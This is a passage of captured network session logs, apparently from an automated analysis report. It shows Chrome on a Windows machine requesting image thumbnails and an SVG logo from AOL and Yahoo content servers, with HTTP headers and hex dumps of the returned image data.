2024-05-23 22:34:44 UTC	1137	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 53691 Cache-Control: public, max-age=2592000 Cache-Tag: 229410569217829523079279784424792893620,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000071-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:34:44 GMT Edge-Cache-Tag: 229410569217829523079279784424792893620,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "e416ced55ebb3d5700b8ba1db47af2c9" Expiration: expiry-date="Fri, 02 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sat, 03 Feb 2024 04:03:40 GMT Server: ECAcc (lhd/35FA) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2532,owidth=50,oheight=50,obytes=4125,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000040-IAD X-Timer: S1711265994.570689,VS0,VE1 Content-Length: 2532 Connection: close
2024-05-23 22:34:44 UTC	2532	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c ff ff ff 7d 87 8c ff ff ff ff ff ff ff ff ff e1 e3 e4 ff ff ff ff ff ff fb fb fb ff ff ff 90 99 9d 98 9f a3 6c 77 7d 64 70 76 ff ff ff c9 ce d0 d9 dc dd fb fc fc 94 9d a0 8b 94 98 ff ff ff c4 c8 cb ff ff ff 85 8e 93 ff ff ff f1 f2 f3 9d a4 a8 ff ff ff b6 bb be f7 f8 f8 b6 bc be ff ff ff a2 aa ad b7 bd bf d7 da db eb ec ed d0 d3 d5 ff ff ff fc fc fd ff ff ff fd fd fd eb ec ed e4 e6 e7 fa fa fa 61 6d 73 a9 b0 b3 91 9a 9e a6 ad b0 9b a2 a6 c9 cd cf c3 c7 c9 a1 a8 ac aa b1 b4 c3 c7 c9 bd c2 c5 b3 b8 bb ff ff ff ff ff ff fd fe fe fd fe fe ff ff ff b1 b7 ba d4 d7 d9 c7 cb cd e4 e6 e7 fe ff ff ba bf c1 ed ee ef 7f 89 8e fb fc fc 06 Data Ascii: PNGIHDR22)xPLTEGpL}lw}dpvams

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	49822	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:44 UTC	565	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2023-07%2F64f4c710-1cd1-11ee-a4ff-74225ffec8bb&client=76f99bdb8f78cd44cc0b&signature=c29cea20723b38471dd5671b7aded44c5500be24 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:44 UTC	1500	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 52063 Cache-Control: public, max-age=2592000 Cache-Tag: 289403975039509992895969399188763570001,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21934-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 123 Content-Type: image/png Date: Thu, 23 May 2024 22:34:44 GMT Edge-Cache-Tag: 289403975039509992895969399188763570001,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "bd5bcc44e24bbb6cf6c0f812237a4427" Expiration: expiry-date="Mon, 08 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Tue, 09 Jan 2024 12:30:57 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35B8) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=363,owidth=400,oheight=400,obytes=14085,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-lga21971-LGA X-Timer: S1711267246.679530,VS0,VE2 Content-Length: 363 Connection: close
2024-05-23 22:34:44 UTC	363	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 78 50 4c 54 45 47 70 4c ff ff ff ff ff ff 70 70 70 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 5d 5d 5d 4d 4d 4d d6 69 69 fb f0 f0 f4 d8 d8 e5 a0 a0 90 90 90 3b 3b 3b df 8c 8c db 7e 7e d1 59 59 f9 e8 e8 e1 94 94 9b 9b 9b f0 c8 c8 f6 df df a6 a6 a6 4c 4c 4c 83 83 83 78 78 78 d9 75 75 ca 40 40 64 64 64 82 82 82 cc 49 49 ea b5 b5 e8 ae ae ba ba ba af af af c3 29 29 5f f6 0c 49 00 00 00 0a 74 52 4e 53 00 c2 ff ff fa 09 9b da 31 98 3a 23 ed f9 00 00 00 98 49 44 41 54 18 d3 65 8f 57 0e c2 40 0c 05 37 f6 66 7b 4b 2f 90 46 bd ff 0d 31 45 08 91 f9 f3 48 b6 df 63 8c 50 5a 72 2e b5 62 6f 72 01 1f 44 fe 9a 33 f8 92 3d 8d 80 1f 04 ed c3 64 ed b8 59 db Data Ascii: PNGIHDR(-SxPLTEGpLppp]]]MMMii;;;~~YYLLLxxxuu@@dddII))_ItRNS1:#IDATeW@7f{K/F1EHcPZr.borD3=dY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	49826	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:44 UTC	387	OUT	GET /cv/apiv2/aolfp/images/weather/large/AccuWeather_2.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:44 UTC	818	IN	HTTP/1.1 200 OK x-amz-id-2: ZFfw9DL5iP3IJa3YG9l340K2rTruyOGILVlv0StpeOxyIheUUnUj32KP4DJk7rHb/SigeJ0euOk= x-amz-request-id: EPHM47CEWG766KTB Date: Wed, 08 May 2024 08:27:07 GMT Last-Modified: Wed, 25 Oct 2023 12:50:39 GMT ETag: "0f121237872ccb64cf52b3c4a2405745" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 5778 Referrer-Policy: no-referrer-when-downgrade Age: 1346858 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-05-23 22:34:44 UTC	1300	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 21 2d 2d 20 47 65 6e 65 72 61 74 6f 72 3a 20 41 64 6f 62 65 20 49 6c 6c 75 73 74 72 61 74 6f 72 20 32 38 2e 30 2e 30 2c 20 53 56 47 20 45 78 70 6f 72 74 20 50 6c 75 67 2d 49 6e 20 2e 20 53 56 47 20 56 65 72 73 69 6f 6e 3a 20 36 2e 30 30 20 42 75 69 6c 64 20 30 29 20 20 2d 2d 3e 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 69 64 3d 22 4c 61 79 65 72 5f 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 22 20 79 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?>... Generator: Adobe Illustrator 28.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --><svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="
2024-05-23 22:34:44 UTC	1300	IN	Data Raw: 2d 30 2e 31 2c 30 2e 35 2d 30 2e 31 2c 30 2e 37 63 30 2c 30 2e 32 2c 30 2c 30 2e 34 2c 30 2e 31 2c 30 2e 37 63 30 2c 30 2e 32 2c 30 2e 31 2c 30 2e 34 2c 30 2e 32 2c 30 2e 36 63 30 2e 31 2c 30 2e 32 2c 30 2e 32 2c 30 2e 33 2c 30 2e 34 2c 30 2e 34 0a 09 43 33 30 2e 39 2c 38 2e 39 2c 33 31 2e 32 2c 39 2c 33 31 2e 34 2c 39 63 30 2e 34 2c 30 2c 30 2e 37 2d 30 2e 31 2c 30 2e 39 2d 30 2e 33 63 30 2e 32 2d 30 2e 32 2c 30 2e 33 2d 30 2e 35 2c 30 2e 34 2d 30 2e 39 68 31 2e 36 63 2d 30 2e 31 2c 30 2e 38 2d 30 2e 34 2c 31 2e 34 2d 30 2e 39 2c 31 2e 38 63 2d 30 2e 35 2c 30 2e 34 2d 31 2e 32 2c 30 2e 36 2d 32 2c 30 2e 36 0a 09 63 2d 30 2e 35 2c 30 2d 30 2e 39 2d 30 2e 31 2d 31 2e 32 2d 30 2e 32 63 2d 30 2e 34 2d 30 2e 32 2d 30 2e 37 2d 30 2e 34 2d 31 2d 30 2e 36 63 2d Data Ascii: -0.1,0.5-0.1,0.7c0,0.2,0,0.4,0.1,0.7c0,0.2,0.1,0.4,0.2,0.6c0.1,0.2,0.2,0.3,0.4,0.4C30.9,8.9,31.2,9,31.4,9c0.4,0,0.7-0.1,0.9-0.3c0.2-0.2,0.3-0.5,0.4-0.9h1.6c-0.1,0.8-0.4,1.4-0.9,1.8c-0.5,0.4-1.2,0.6-2,0.6c-0.5,0-0.9-0.1-1.2-0.2c-0.4-0.2-0.7-0.4-1-0.6c-
2024-05-23 22:34:44 UTC	1300	IN	Data Raw: 2d 30 2e 36 2c 30 2e 31 2d 30 2e 38 2c 30 2e 32 63 2d 30 2e 32 2c 30 2e 31 2d 30 2e 34 2c 30 2e 32 2d 30 2e 35 2c 30 2e 34 63 2d 30 2e 31 2c 30 2e 32 2d 30 2e 32 2c 30 2e 34 2d 30 2e 33 2c 30 2e 36 0a 09 63 2d 30 2e 31 2c 30 2e 32 2d 30 2e 31 2c 30 2e 35 2d 30 2e 31 2c 30 2e 38 76 32 2e 37 68 2d 31 2e 37 76 2d 36 4c 38 32 2e 37 2c 34 2e 31 4c 38 32 2e 37 2c 34 2e 31 7a 20 4d 37 38 2e 35 2c 35 2e 36 63 2d 30 2e 32 2d 30 2e 32 2d 30 2e 35 2d 30 2e 33 2d 30 2e 39 2d 30 2e 33 63 2d 30 2e 33 2c 30 2d 30 2e 35 2c 30 2d 30 2e 37 2c 30 2e 31 0a 09 63 2d 30 2e 32 2c 30 2e 31 2d 30 2e 33 2c 30 2e 32 2d 30 2e 34 2c 30 2e 33 63 2d 30 2e 31 2c 30 2e 31 2d 30 2e 32 2c 30 2e 33 2d 30 2e 32 2c 30 2e 34 63 30 2c 30 2e 31 2d 30 2e 31 2c 30 2e 33 2d 30 2e 31 2c 30 2e 34 68 Data Ascii: -0.6,0.1-0.8,0.2c-0.2,0.1-0.4,0.2-0.5,0.4c-0.1,0.2-0.2,0.4-0.3,0.6c-0.1,0.2-0.1,0.5-0.1,0.8v2.7h-1.7v-6L82.7,4.1L82.7,4.1z M78.5,5.6c-0.2-0.2-0.5-0.3-0.9-0.3c-0.3,0-0.5,0-0.7,0.1c-0.2,0.1-0.3,0.2-0.4,0.3c-0.1,0.1-0.2,0.3-0.2,0.4c0,0.1-0.1,0.3-0.1,0.4h
2024-05-23 22:34:44 UTC	1300	IN	Data Raw: 2e 31 7a 20 4d 36 31 2e 31 2c 37 2e 33 63 2d 30 2e 31 2c 30 2d 30 2e 32 2c 30 2e 31 2d 30 2e 33 2c 30 2e 31 63 2d 30 2e 31 2c 30 2d 30 2e 32 2c 30 2d 30 2e 34 2c 30 2e 31 63 2d 30 2e 31 2c 30 2d 30 2e 33 2c 30 2d 30 2e 34 2c 30 2e 31 0a 09 63 2d 30 2e 31 2c 30 2d 30 2e 32 2c 30 2e 31 2d 30 2e 34 2c 30 2e 31 63 2d 30 2e 31 2c 30 2d 30 2e 32 2c 30 2e 31 2d 30 2e 33 2c 30 2e 32 63 2d 30 2e 31 2c 30 2e 31 2d 30 2e 32 2c 30 2e 31 2d 30 2e 32 2c 30 2e 33 43 35 39 2e 31 2c 38 2e 31 2c 35 39 2c 38 2e 32 2c 35 39 2c 38 2e 34 63 30 2c 30 2e 31 2c 30 2c 30 2e 33 2c 30 2e 31 2c 30 2e 34 0a 09 63 30 2e 31 2c 30 2e 31 2c 30 2e 31 2c 30 2e 32 2c 30 2e 32 2c 30 2e 32 63 30 2e 31 2c 30 2e 31 2c 30 2e 32 2c 30 2e 31 2c 30 2e 33 2c 30 2e 31 63 30 2e 31 2c 30 2c 30 2e 33 2c Data Ascii: .1z M61.1,7.3c-0.1,0-0.2,0.1-0.3,0.1c-0.1,0-0.2,0-0.4,0.1c-0.1,0-0.3,0-0.4,0.1c-0.1,0-0.2,0.1-0.4,0.1c-0.1,0-0.2,0.1-0.3,0.2c-0.1,0.1-0.2,0.1-0.2,0.3C59.1,8.1,59,8.2,59,8.4c0,0.1,0,0.3,0.1,0.4c0.1,0.1,0.1,0.2,0.2,0.2c0.1,0.1,0.2,0.1,0.3,0.1c0.1,0,0.3,
2024-05-23 22:34:44 UTC	578	IN	Data Raw: 35 2e 36 20 4d 35 32 2e 39 2c 38 2e 37 43 35 33 2e 32 2c 39 2c 35 33 2e 35 2c 39 2e 31 2c 35 34 2c 39 2e 31 0a 09 63 30 2e 33 2c 30 2c 30 2e 36 2d 30 2e 31 2c 30 2e 39 2d 30 2e 32 63 30 2e 32 2d 30 2e 32 2c 30 2e 34 2d 30 2e 33 2c 30 2e 34 2d 30 2e 35 68 31 2e 35 63 2d 30 2e 32 2c 30 2e 37 2d 30 2e 36 2c 31 2e 32 2d 31 2e 31 2c 31 2e 35 63 2d 30 2e 35 2c 30 2e 33 2d 31 2e 31 2c 30 2e 35 2d 31 2e 38 2c 30 2e 35 63 2d 30 2e 35 2c 30 2d 30 2e 39 2d 30 2e 31 2d 31 2e 33 2d 30 2e 32 0a 09 63 2d 30 2e 34 2d 30 2e 32 2d 30 2e 37 2d 30 2e 34 2d 31 2d 30 2e 36 63 2d 30 2e 33 2d 30 2e 33 2d 30 2e 35 2d 30 2e 36 2d 30 2e 36 2d 31 63 2d 30 2e 31 2d 30 2e 34 2d 30 2e 32 2d 30 2e 38 2d 30 2e 32 2d 31 2e 33 63 30 2d 30 2e 35 2c 30 2e 31 2d 30 2e 39 2c 30 2e 32 2d 31 2e Data Ascii: 5.6 M52.9,8.7C53.2,9,53.5,9.1,54,9.1c0.3,0,0.6-0.1,0.9-0.2c0.2-0.2,0.4-0.3,0.4-0.5h1.5c-0.2,0.7-0.6,1.2-1.1,1.5c-0.5,0.3-1.1,0.5-1.8,0.5c-0.5,0-0.9-0.1-1.3-0.2c-0.4-0.2-0.7-0.4-1-0.6c-0.3-0.3-0.5-0.6-0.6-1c-0.1-0.4-0.2-0.8-0.2-1.3c0-0.5,0.1-0.9,0.2-1.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49824	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:44 UTC	565	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2020-11%2Fa2258160-2b7f-11eb-bbe3-c5a6dfd56406&client=76f99bdb8f78cd44cc0b&signature=668467e7d91ff5dccf4279760f0d614d88addd13 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:44 UTC	1137	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2560468 Cache-Control: public, max-age=2592000 Cache-Tag: 491141387763699428533225341973349872950,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000144-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 2 Content-Type: image/png Date: Thu, 23 May 2024 22:34:44 GMT Edge-Cache-Tag: 491141387763699428533225341973349872950,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "f548b961e43b46bd52b6aa170d9bc4d8" Expiration: expiry-date="Wed, 04 Sep 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 07 Mar 2024 02:23:11 GMT Server: ECAcc (lhd/3586) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=491,owidth=400,oheight=400,obytes=44140,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000030-IAD X-Timer: S1711351216.040879,VS0,VE2 Content-Length: 491 Connection: close
2024-05-23 22:34:44 UTC	491	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 d5 50 4c 54 45 47 70 4c 00 00 00 00 00 00 32 32 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 26 26 13 13 12 1b 1b 1b 5d 5d 5c 7a 7a 79 3e 3e 3e 90 8a b1 61 63 5c 56 55 57 69 c0 74 30 7d b4 0a 0a 0a e1 58 2d 69 69 69 85 85 85 ad ad ad 95 95 94 7a ac c3 39 39 38 f4 f6 f7 58 4e 8f 3d ac 4b 94 cc 9e b9 71 81 f2 c0 5e b6 24 44 ca 5f 75 ef c2 7b de 8e 7c ef ae 2f ea 9c 82 44 44 43 c1 c1 c0 86 81 a2 75 73 81 70 8d 73 b6 b6 b5 8c 6a 71 c2 48 62 7f c7 88 fe f7 f1 7c ad ce 6d a1 c5 7d 77 a9 85 c3 a4 85 9e c4 8e a7 c9 94 84 66 49 8d bd f9 ed ed eb 92 74 e1 a6 b3 c4 c1 d7 f6 d2 8c a8 a3 c4 54 49 4c f2 c1 62 e5 c5 8a d5 82 94 e3 66 3e e1 8c 70 96 Data Ascii: PNGIHDR(-SPLTEGpL222&&&]]\zzy>>>ac\VUWit0}X-iiiz998XN=Kq^$D_u{\|/DDCuspsjqHb\|m}wfItTILbf>p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49828	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:44 UTC	565	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-09%2F7bc91ad0-1009-11ec-bfea-2182b7e056ce&client=76f99bdb8f78cd44cc0b&signature=288593dd0d822231ec18e08bd43dabcce5aeea31 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:44 UTC	1140	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 53645 Cache-Control: public, max-age=2592000 Cache-Tag: 457935326151757118911061591064955503832,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kjyo7100094-IAD cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 103 Content-Type: image/png Date: Thu, 23 May 2024 22:34:44 GMT Edge-Cache-Tag: 457935326151757118911061591064955503832,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "12b179dfac257ba3cf6eadbc3d4f5057" Expiration: expiry-date="Wed, 17 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 18 Jan 2024 14:48:07 GMT Server: ECAcc (lhd/35B9) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=457,owidth=400,oheight=400,obytes=158455,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000132-IAD X-Timer: S1711266039.355246,VS0,VE15 Content-Length: 457 Connection: close
2024-05-23 22:34:44 UTC	457	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 a5 50 4c 54 45 47 70 4c 22 27 27 3f 47 50 33 3b 44 27 31 37 2f 35 3d 21 29 30 22 2a 30 14 19 1c 15 1b 20 32 3a 43 32 3a 43 17 1c 1d 2d 37 3f 39 3b 42 49 50 55 1b 21 29 28 31 38 14 19 1a 14 18 1a 2d 36 3f 31 38 40 a4 a4 a4 aa a9 a9 e8 e8 e9 d0 d1 d1 e3 e3 e2 8e 90 92 ac ad af 72 76 78 69 6c 71 ba ba bb 9d 9e 9e c9 c9 c9 c2 c2 c2 b4 b5 b6 1f 25 2e 23 2a 31 db dc dc 96 9a 9b d6 d6 d6 52 57 5b 2f 35 39 5b 5e 62 b1 b3 b3 a6 aa ad a0 a2 a1 df e0 e0 82 85 8a 80 83 86 60 63 63 63 66 67 85 89 8f d3 d4 d4 c3 c5 c7 71 1e b7 d1 00 00 00 16 74 52 4e 53 00 f9 f9 d9 98 f9 d9 09 99 31 97 31 c1 c1 fe fe 97 31 d9 d9 9a 9a 88 5b 29 0d 00 00 00 bd 49 44 41 54 18 19 2d Data Ascii: PNGIHDR(-SPLTEGpL"''?GP3;D'17/5=!)0"0 2:C2:C-7?9;BIPU!)(18-6?18@rvxilq%.#1RW[/59[^b`cccfgqtRNS111[)IDAT-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49827	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:44 UTC	938	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F3E6F0ARiT3ZQ7FArihI9Bw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fnba%2F20181226%2F500x500%2Ftimberwolves_wbg.png&client=76f99bdb8f78cd44cc0b&signature=6b39da94a9b7fb47562b1b860faa5f4c1d24210e HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:44 UTC	1138	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 141067 Cache-Control: public, max-age=2592000 Cache-Tag: 224671364923081073303863540009142071981,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kjyo7100173-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 4 Content-Type: image/png Date: Thu, 23 May 2024 22:34:44 GMT Edge-Cache-Tag: 224671364923081073303863540009142071981,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "42286ba6d6f057d86973c9e5d55cd1b0" Expiration: expiry-date="Fri, 02 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sat, 03 Feb 2024 03:55:30 GMT Server: ECAcc (lhd/3586) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2443,owidth=50,oheight=50,obytes=3678,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-iad-kiad7000047-IAD X-Timer: S1713770618.558948,VS0,VE2 Content-Length: 2443 Connection: close
2024-05-23 22:34:44 UTC	2443	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 fd 50 4c 54 45 47 70 4c 95 9a 9c 9d a1 a2 9e a2 a2 9e a2 a2 9e a2 a2 9e a2 a2 9e a2 a2 9e a2 a2 9e a2 a2 9e a2 a2 93 98 9b 9e a2 a2 81 89 8f 9e a2 a2 9e a2 a2 86 8d 92 9e a2 a2 9e a2 a2 9e a2 a2 9d a1 a2 8f 95 98 9d a1 a1 9d a1 a1 9e a2 a2 8f 95 98 9e a2 a2 9e a2 a2 9e a2 a2 94 99 9b 83 8b 90 9e a2 a2 88 8f 93 9e a2 a2 9e a2 a2 9e a2 a2 9e a1 a1 0c 23 40 9e a2 a2 23 61 92 0d 24 41 0f 26 42 0e 25 41 0f 2b 4b 22 5f 8f 19 2f 49 82 8a 8f 20 35 4e 10 26 43 16 2c 48 1e 52 7f 1a 48 71 5a 67 75 4a 59 6a 35 46 5b 80 88 8e 1a 30 4a 0d 25 43 0e 27 46 25 38 51 75 7e 86 83 8b 90 38 4a 5e 14 3a 5f 1a 4a 73 0d 23 40 18 2d 48 3a 4b 5f 19 2f 4a 10 2d 4d 22 60 90 17 Data Ascii: PNGIHDR22)xPLTEGpL#@#a$A&B%A+K"_/I 5N&C,HRHqZguJYj5F[0J%C'F%8Qu~8J^:_Js#@-H:K_/J-M"`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49831	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:44 UTC	594	OUT	GET /cv/apiv2/adbuilder/gemini.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
